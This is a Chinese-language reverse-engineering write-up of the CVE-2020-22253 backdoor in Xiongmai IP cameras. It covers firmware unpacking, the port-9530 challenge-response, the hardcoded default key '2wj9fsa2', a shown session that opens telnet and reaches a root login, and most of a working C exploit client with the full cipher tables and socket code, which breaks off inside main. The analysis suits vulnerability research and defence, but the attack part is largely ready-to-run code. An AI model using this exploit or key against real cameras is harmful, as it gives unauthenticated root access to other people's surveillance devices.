CVE-2020-22253后门漏洞分析




漏洞信息


多款 Xiongmai 产品存在安全漏洞,该漏洞源于开放9530端口。未经身份验证的攻击者可与受害设备进行任意 Telnet 连接。以下产品和版本受到影响:AHB7008T-MH-V2、AHB7804R-ELS、AHB7804R-MH-V2、AHB7808R-MS-V2、AHB7808R-MS、AHB7808T-MS-V2、AHB7804R-LMS、HI3518E_50H10L_S39。





成功后门激活流程


整个身份验证过程可能类似于某种 HMAC 质询-响应身份验证,只不过它使用对称密码而不是哈希。对于长度超过 8 字节的密钥,这种特殊的对称密码类似于 3DES-EDE2 的某些变体,对于较短的密钥则类似于简单 DES。


1.客户端打开与设备的 TCP 端口 9530 的连接,并发送OpenTelnet:OpenOnce前缀有指示总消息长度的字节的字符串。对于以前版本的后门,此步骤是最后一步。如果执行此步骤后没有响应,则可能 telnetd 已经启动。


2.服务器(设备)用字符串应答randNum:XXXXXXXX,其中XXXXXXXX是 8 位随机十进制数。


3.客户端使用其预共享密钥并将加密密钥构造为接收到的随机数和 PSK 的串联。


4.客户端使用加密密钥加密随机数并在 string 之后发送randNum:。整个消息前面带有指示消息总长度的字节。


5.服务器从文件加载相同的预共享密钥,或者如果文件丢失则/mnt/custom/TelnetOEMPasswd使用默认密钥。2wj9fsa2


6.服务器对随机数进行加密并验证结果与客户端的字符串是否相同。成功后,服务器发送字符串verify:OKverify:ERROR其他内容。


7.客户端加密 stringTelnet:OpenOnce,在其前面添加总长度字节、CMD:字符串并发送到服务器。


8.服务器提取并解密收到的命令。如果解密结果等于字符串,Telnet:OpenOnce则响应Open:OK,启用调试端口 9527 并启动 telnet 守护进程。





漏洞分析


设备:XMJP IPC 摄像头 型号:XM510


使用binwalk进行解压


binwalk -Me General_IPC_XM510_RA50X10-C-S_WIFIXM712.712.Nat.dss_V5.00.R02.20190430_all.bin


进行字符串搜索


grep -rnl "OpenTelnet:OpenOnce" *


找到关键文件
CVE-2020-22253后门漏洞分析


在 usr/bin 目录下找到 dvrvox这个可执行程序,查看文件信息:

CVE-2020-22253后门漏洞分析


IDA分析


Shift+F12搜索字符串OpenTelnet:OpenOnce,定位到关键代码。


CVE-2020-22253后门漏洞分析

程序执行流程中,在经过判断后可以执行system(“telnetd”)命令,从而开启漏洞信息中所说的9530端口,所以利用漏洞需经过程序判断流程执行这个命令。


CVE-2020-22253后门漏洞分析


首先程序使用socket套接字的recv函数接受数据。


接着进行第一个判断strncmp(&s[1], “OpenTelnet:OpenOnce”, 0x13u)判断开头是否为 OpenTelnet:OpenOnce。


CVE-2020-22253后门漏洞分析


通过第一个判断,程序首先执行get_random_bytime((char *)ranNum),根据时间戳生成八位随机数字字符串。


CVE-2020-22253后门漏洞分析


get_random_bytime函数


CVE-2020-22253后门漏洞分析

第二个判断recv_buffer中的内容是否为randNum开头的字符串。


CVE-2020-22253后门漏洞分析


get_key 函数的作用是返回一个 key 字符串,判断 /mnt/custom/TelnetOEMPasswd 文件是否存在,存在的话返回文件的内容(也就是密钥),不存在就返回 2wj9fsa2 字符串。


CVE-2020-22253后门漏洞分析


接下来是主要的encrypt加密函数,传入的参数分别为之前生成的8位随机数字以及他的长度,还有通过sprintf将key和ranNum拼接后的concatenateStr字符串及其长度。concatenateStr也就是需要加密的字符串,而key相当于程序中的 PSK 预共享密钥,也就是后门密钥。


CVE-2020-22253后门漏洞分析


跟进到encrypt函数中,逻辑较为复杂,可参考https://github.com/tothi/pyDes/blob/7a26fe09dc5b57b175c6439fbbf496414598a7a2/pyDes.py#L108


对于长度超过 8 字节的密钥,这种特殊的对称密码类似于 3DES-EDE2 的某些变体,对于较短的密钥则类似于简单 DES。


3DES部分代码:


#############################################################################
# Triple DES #
#############################################################################
class triple_des(_baseDes):
"""Triple DES encryption/decrytpion class

This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.

pyDes.des(key, [mode], [IV])

key -> Bytes containing the encryption key, must be either 16 or
24 bytes long
mode -> Optional argument for encryption type, can be either pyDes.ECB
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
Must be 8 bytes in length.
pad -> Optional argument, set the pad character (PAD_NORMAL) to use
during all encrypt/decrypt operations done with this instance.
padmode -> Optional argument, set the padding mode (PAD_NORMAL or
PAD_PKCS5) to use during all encrypt/decrypt operations done
with this instance.
"""
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL, hs=False):
_baseDes.__init__(self, mode, IV, pad, padmode)
self.hs = hs
self.setKey(key)

def setKey(self, key):
"""Will set the crypting key for this object. Either 16 or 24 bytes long."""
self.key_size = 24 # Use DES-EDE3 mode
if len(key) != self.key_size:
if len(key) == 16: # Use DES-EDE2 mode
self.key_size = 16
else:
raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
if self.getMode() == CBC:
if not self.getIV():
# Use the first 8 bytes of the key
self._iv = key[:self.block_size]
if len(self.getIV()) != self.block_size:
raise ValueError("Invalid IV, must be 8 bytes in length")
self.__key1 = des(key[:8], self._mode, self._iv,
self._padding, self._padmode, self.hs)
self.__key2 = des(key[8:16], self._mode, self._iv,
self._padding, self._padmode, self.hs)
if self.key_size == 16:
self.__key3 = self.__key1
else:
self.__key3 = des(key[16:], self._mode, self._iv,
self._padding, self._padmode, self.hs)
_baseDes.setKey(self, key)

# Override setter methods to work on all 3 keys.

def setMode(self, mode):
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
_baseDes.setMode(self, mode)
for key in (self.__key1, self.__key2, self.__key3):
key.setMode(mode)

def setPadding(self, pad):
"""setPadding() -> bytes of length 1. Padding character."""
_baseDes.setPadding(self, pad)
for key in (self.__key1, self.__key2, self.__key3):
key.setPadding(pad)

def setPadMode(self, mode):
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
_baseDes.setPadMode(self, mode)
for key in (self.__key1, self.__key2, self.__key3):
key.setPadMode(mode)

def setIV(self, IV):
"""Will set the Initial Value, used in conjunction with CBC mode"""
_baseDes.setIV(self, IV)
for key in (self.__key1, self.__key2, self.__key3):
key.setIV(IV)

def encrypt(self, data, pad=None, padmode=None):
"""encrypt(data, [pad], [padmode]) -> bytes

data : bytes to be encrypted
pad : Optional argument for encryption padding. Must only be one byte
padmode : Optional argument for overriding the padding mode.

The data must be a multiple of 8 bytes and will be encrypted
with the already specified key. Data does not have to be a
multiple of 8 bytes if the padding character is supplied, or
the padmode is set to PAD_PKCS5, as bytes will then added to
ensure the be padded data is a multiple of 8 bytes.
"""
ENCRYPT = des.ENCRYPT
DECRYPT = des.DECRYPT
data = self._guardAgainstUnicode(data)
if pad is not None:
pad = self._guardAgainstUnicode(pad)
# Pad the data accordingly.
data = self._padData(data, pad, padmode)
if self.getMode() == CBC:
self.__key1.setIV(self.getIV())
self.__key2.setIV(self.getIV())
self.__key3.setIV(self.getIV())
i = 0
result = []
while i < len(data):
block = self.__key1.crypt(data[i:i+8], ENCRYPT)
block = self.__key2.crypt(block, DECRYPT)
block = self.__key3.crypt(block, ENCRYPT)
self.__key1.setIV(block)
self.__key2.setIV(block)
self.__key3.setIV(block)
result.append(block)
i += 8
if _pythonMajorVersion < 3:
return ''.join(result)
else:
return bytes.fromhex('').join(result)
else:
data = self.__key1.crypt(data, ENCRYPT)
data = self.__key2.crypt(data, DECRYPT)
return self.__key3.crypt(data, ENCRYPT)

def decrypt(self, data, pad=None, padmode=None):
"""decrypt(data, [pad], [padmode]) -> bytes

data : bytes to be encrypted
pad : Optional argument for decryption padding. Must only be one byte
padmode : Optional argument for overriding the padding mode.

The data must be a multiple of 8 bytes and will be decrypted
with the already specified key. In PAD_NORMAL mode, if the
optional padding character is supplied, then the un-encrypted
data will have the padding characters removed from the end of
the bytes. This pad removal only occurs on the last 8 bytes of
the data (last data block). In PAD_PKCS5 mode, the special
padding end markers will be removed from the data after
decrypting, no pad character is required for PAD_PKCS5.
"""
ENCRYPT = des.ENCRYPT
DECRYPT = des.DECRYPT
data = self._guardAgainstUnicode(data)
if pad is not None:
pad = self._guardAgainstUnicode(pad)
if self.getMode() == CBC:
self.__key1.setIV(self.getIV())
self.__key2.setIV(self.getIV())
self.__key3.setIV(self.getIV())
i = 0
result = []
while i < len(data):
iv = data[i:i+8]
block = self.__key3.crypt(iv, DECRYPT)
block = self.__key2.crypt(block, ENCRYPT)
block = self.__key1.crypt(block, DECRYPT)
self.__key1.setIV(iv)
self.__key2.setIV(iv)
self.__key3.setIV(iv)
result.append(block)
i += 8
if _pythonMajorVersion < 3:
data = ''.join(result)
else:
data = bytes.fromhex('').join(result)
else:
data = self.__key3.crypt(data, DECRYPT)
data = self.__key2.crypt(data, ENCRYPT)
data = self.__key1.crypt(data, DECRYPT)
return self._unpadData(data, pad, padmode)


1.triple_des类继承自_baseDes,其中_baseDes是 DES 加密算法的基类,triple_des通过调用_baseDes的方法来实现加密/解密过程。


2.构造函数init初始化triple_des类的对象。构造函数接收以下参数:

key: 加密密钥,可以是 16 或 24 字节长的字节数组。如果是 16 字节长,将使用 DES-EDE2 模式,如果是 24 字节长,将使用 DES-EDE3 模式。
mode: 加密模式,可以是ECB(电子密码本模式)或CBC(密码块链接模式),默认为ECB。
IV: 初始化向量(只在 CBC 模式下需要),必须是 8 字节长的字节数组。
pad: 填充字符(可选参数),用于加密数据时对不足 8 字节的数据进行填充。
padmode: 填充模式(可选参数),可以是PAD_NORMAL或PAD_PKCS5,默认为PAD_NORMAL。
hs: 是否进行硬件加速(可选参数),默认为False,表示不使用硬件加速。


3.setKey方法用于设置加密密钥。根据传入的key的长度,判断使用 DES-EDE2 还是 DES-EDE3 模式。然后创建三个des类的实例,分别用于处理三个部分的加密解密。


4.setMode、setPadding、setPadMode和setIV方法用于设置加密模式、填充字符、填充模式和初始化向量,并将设置传递给三个des实例。


5.encrypt方法用于对输入的数据进行加密。它接收以下参数:

data: 要加密的数据,必须是长度为 8 的倍数的字节数组。

pad: 可选参数,用于加密数据时对不足 8 字节的数据进行填充,必须是长度为 1 的字节数组。

padmode: 可选参数,用于指定填充模式,可以是PAD_NORMAL或PAD_PKCS5。方法首先将数据进行填充,然后根据加密模式进行加密,最后返回加密后的数据。


6.decrypt方法用于对输入的数据进行解密。它接收以下参数:

data: 要解密的数据,必须是长度为 8 的倍数的字节数组。
pad: 可选参数,用于解密数据时对最后 8 字节的填充字符进行移除,必须是长度为 1 的字节数组。
padmode: 可选参数,用于指定填充模式,可以是PAD_NORMAL或PAD_PKCS5。方法首先根据加密模式进行解密,然后根据填充模式对解密数据进行处理,最后返回解密后的数据。


7.注意:这里的des类指的是之前提到的单独的 DES 加密算法类,而不是 Triple DES 的类。Triple DES 类在内部使用了三个单独的 DES 加密实例来完成加密和解密过程。


参考此代码写出具体的加密算法,将加密结果拼接在randNum:字符串后面


int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)

{
uint uVar2;
int currentBlockNumber;
int blocksCount;

if (((result != (char *)0x0 && data != (char *)0x0) &&
(currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {
prepare_key(key,key_size);
blocksCount = (int)(data_len + 7) >> 3;
uVar2 = *(state + 0x7e0);
if (*(state + 0x7e0) == 0) {
while ((int)uVar2 < blocksCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
uVar2 = uVar2 + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
else {
while (currentBlockNumber < blocksCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);
cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);
currentBlockNumber = currentBlockNumber + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
return 0;
}
return -1;
}


之后经判断输出verify:OK


CVE-2020-22253后门漏洞分析

最后再次判断接收到的字符串开头是否为CMD,这里的 dencrypt对应上面的加密算法,判断解密后的字符串是否为“Telnet:OpenOnce” ,也就是只需将这个字符串经过相同的加密算法即可,从而执行 system(“telnetd”) 函数,开启后门。


CVE-2020-22253后门漏洞分析


一旦 telnet 守护进程激活,可以用以下登录名/密码对之一:


CVE-2020-22253后门漏洞分析

这些密码可以从固件中恢复,也可以通过/etc/passwd文件中的哈希值进行暴力破解。





测试漏洞


最常见的 PSK 是默认值之一:2wj9fsa2会话示例:


$ telnet 198.51.100.23
Trying 198.51.100.23...
telnet: Unable to connect to remote host: Connection refused
$ ./hs-dvr-telnet 198.51.100.23 2wj9fsa2
Sent OpenTelnet:OpenOnce command.
randNum:46930886
challenge=469308862wj9fsa2
verify:OK
Open:OK
$ telnet 198.51.100.23
Trying 198.51.100.23...
Connected to 198.51.100.23.
Escape character is '^]'.
LocalHost login: root
Password:

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

typedef unsigned char byte;
typedef unsigned int uint;

byte state[2048] = {0};
byte datum[] = {
0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01,
0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c,
0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01,
0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08,
0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00,
0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e,
0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04,
0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07,
0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05,
0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06,
0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02,
0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e,
0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08,
0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e,
0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00,
0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00,
0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c,
0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05,
0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03,
0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00,
0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04,
0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b,
0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06,
0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c,
0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06,
0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05,
0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d,
0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f,
0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b,
0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e,
0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03,
0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c,
0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d,
0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07,
0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a,
0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d,
0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02,
0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f,
0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01,
0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08,
0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02,
0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d,
0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d,
0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15,
0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a,
0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06,
0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02,
0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26,
0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08,
0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23,
0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05,
0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00,
0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f,
0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e,
0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c,
0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b,
0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09,
0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01,
0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23,
0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27,
0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06,
0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04,
0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18,
0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04,
0x1a, 0x08, 0x10, 0x07, 0x1b, 0x14, 0x0d, 0x02, 0x29, 0x34, 0x1f, 0x25,
0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38,
0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20
};

void init_cipher_offset_vector(byte *dst,byte *src,int size)

{
int i;

i = 0;
while (i < size) {
dst[i] = (byte)((int)(uint)src[i >> 3] >> (i & 7U)) & 1;
i = i + 1;
}
return;
}

void apply_cipher_offset_vector(byte *dst,byte *src,byte *offset_vector,size_t size)

{
int i;

i = 0;
while (i < (int)size) {
state[i] = src[(uint)offset_vector[i] - 1];
i = i + 1;
}
memcpy(dst,state,size);
return;
}

void cipher_memcpy_shuffle(void *dst,size_t size)

{
memcpy(state,dst,size);
memcpy(dst,(void *)(dst + size),0x1c - size);
memcpy((void *)(dst + (0x1c - size)),state,size);
return;
}

void init_cipher_state(void *dst,void *src)

{
byte current_byte;
int i;

init_cipher_offset_vector(state + 0x190,(byte *)src,0x40);
apply_cipher_offset_vector(state + 0x190,state + 0x190,datum + 0x2d4,0x38);
i = 0;
do {
current_byte = (datum + 0x310)[i];
i = i + 1;
cipher_memcpy_shuffle(state + 0x190,(uint)current_byte);
cipher_memcpy_shuffle(state + 0x190 + 0x1c,(uint)current_byte);
apply_cipher_offset_vector((byte *)dst,state + 0x190,datum + 0x320,0x30);
dst = (byte *)dst + 0x30;
} while (i != 0x10);
return;
}

void cipher_xor(byte *data,byte *key,int size)

{
int i;

i = 0;
while (i < size) {
data[i] = key[i] ^ data[i];
i = i + 1;
}
return;
}

void prepare_key(void *key,size_t key_size)

{
size_t __n;

memset(state + 0x1d0,0,0x10);
__n = key_size;
if (0xf < (int)key_size) {
__n = 0x10;
}
memcpy(state + 0x1d0,key,__n);
init_cipher_state(state + 0x1e0,state + 0x1d0);
if (8 < (int)key_size) {
init_cipher_state(state + 0x4e0,state + 0x1d8);
}
*(state + 0x7e0) = 8 < (int)key_size; // !!!! recheck size
return;
}

void cipher_shuffle(byte *dst,byte *src)

{
byte *caretPtr;
int iVar1;
byte *ptr;
int i;

apply_cipher_offset_vector(state + 0x100,dst,datum,0x30);
cipher_xor(state + 0x100,src,0x30);
ptr = state + 0x100;
i = 0;
do {
iVar1 = i + (uint)ptr[5] + (uint)*ptr * 2;
caretPtr = dst + i;
i = i + 4;
init_cipher_offset_vector
(caretPtr,datum + 0x30 +
(uint)ptr[2] * 4 + (uint)ptr[1] * 8 + (uint)ptr[4] + (uint)ptr[3] * 2 +
iVar1 * 0x10,4);
ptr = ptr + 6;
} while (i != 0x20);
apply_cipher_offset_vector(dst,dst,datum + 0x230,0x20);
return;
}

void cipher_box(byte *result,byte *data,byte *offset_vector,int direction)

{
uint i;
byte *backward_ov_ptr;
byte *forward_ov_ptr;
int iVar3;

init_cipher_offset_vector(state + 0x130,data,0x40);
apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x250,0x40);
if (direction == 0) {
forward_ov_ptr = offset_vector + 0x300;
do {
memcpy(state + 0x170,state + 0x150,0x20);
cipher_shuffle(state + 0x150,offset_vector);
cipher_xor(state + 0x150,state + 0x130,0x20);
memcpy(state + 0x130, state + 0x170, 0x20);
offset_vector = offset_vector + 0x30;
} while (offset_vector != forward_ov_ptr);
}
else {
backward_ov_ptr = offset_vector + 0x2d0;
do {
memcpy(state + 0x170,state + 0x130,0x20);
cipher_shuffle(state + 0x130,backward_ov_ptr);
cipher_xor(state + 0x130,state + 0x150,0x20);
backward_ov_ptr -= 0x30;
memcpy(state + 0x150,state + 0x170,0x20);
} while (backward_ov_ptr != offset_vector + -0x30);
}
apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x294,0x40);
memset(result,0,8);
i = 0;
do {
result[i >> 3] = result[i >> 3] | *(char *)(state + 0x130 + i) << (i & 7);
i = i + 1;
} while (i != 0x40);
return;
}

int decrypt(char *result,char *data,uint data_len,char *key,uint key_len)

{
uint short_key_iter;
int curBlockNumber;
int blockCount;

if (((result != (char *)0x0 && data != (char *)0x0) && (curBlockNumber = 0, key != (char *)0x0))
&& ((data_len + 7 & 0xfffffff8) != 0)) {
prepare_key(key,key_len);
blockCount = (int)(data_len + 7) >> 3;
short_key_iter = *(state + 0x7e0);
if (*(state + 0x7e0) == 0) {
while ((int)short_key_iter < blockCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
short_key_iter = short_key_iter + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
else {
while (curBlockNumber < blockCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
cipher_box((byte *)result,(byte *)result,state + 0x4e0,0);
cipher_box((byte *)result,(byte *)result,state + 0x1e0,1);
curBlockNumber = curBlockNumber + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
return 0;
}
return -1;
}

int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)

{
uint uVar2;
int currentBlockNumber;
int blocksCount;

if (((result != (char *)0x0 && data != (char *)0x0) &&
(currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {
prepare_key(key,key_size);
blocksCount = (int)(data_len + 7) >> 3;
uVar2 = *(state + 0x7e0);
if (*(state + 0x7e0) == 0) {
while ((int)uVar2 < blocksCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
uVar2 = uVar2 + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
else {
while (currentBlockNumber < blocksCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);
cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);
currentBlockNumber = currentBlockNumber + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
return 0;
}
return -1;
}

void tohex(unsigned char * in, size_t insz, char * out, size_t outsz)
{
unsigned char * pin = in;
const char * hex = "0123456789ABCDEF";
char * pout = out;
for(; pin < in+insz; pout +=3, pin++){
pout[0] = hex[(*pin>>4) & 0xF];
pout[1] = hex[ *pin & 0xF];
pout[2] = ':';
if (pout + 3 - out > outsz){
/* Better to truncate output string than overflow buffer */
/* it would be still better to either return a status */
/* or ensure the target buffer is large enough and it never happen */
break;
}
}
pout[-1] = 0;
}

char netbuf[4096];

#define PADDED(X) (((X + 7) / 8) * 8)
#define PORT 9530
#define BUFSIZE sizeof(netbuf)
#define CMD_FIRST "OpenTelnet:OpenOnce"
#define CHALLENGE_PROLOGUE "randNum:"
#define VERIFY_OK "verify:OK"
#define CMD_FINAL "CMD:"
#define FINAL_PAYLOAD "Telnet:OpenOnce"
#define OPEN_OK "Open:OK"

ssize_t send_str(int sockfd, char *str, size_t len) {
if (len > 0xFE) {
return -1;
}
char buf[len+1];
buf[0] = len + 1;
memcpy(buf + 1, str, len);
return send(sockfd, buf, len + 1, 0);
}

int main(int argc, char* argv[]) {
int sockfd, numbytes;
struct hostent *he;
struct sockaddr_in their_addr;

if (argc != 3) {
fprintf(stderr, "Usage: %s <host> <PSK>n", argv[0]);
return 2;
}

if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */
herror("gethostbyname");
return 1;
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
return 1;
}

their_addr.sin_family = AF_INET; /* host byte order */
their_addr.sin_port = htons(PORT); /* short, network byte order */
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */

if (connect(sockfd, (struct sockaddr *)&their_addr,
sizeof(struct sockaddr)) == -1) {
perror("connect");
return 1;
}
if (send_str(sockfd, CMD_FIRST, sizeof(CMD_FIRST)) == -1) {
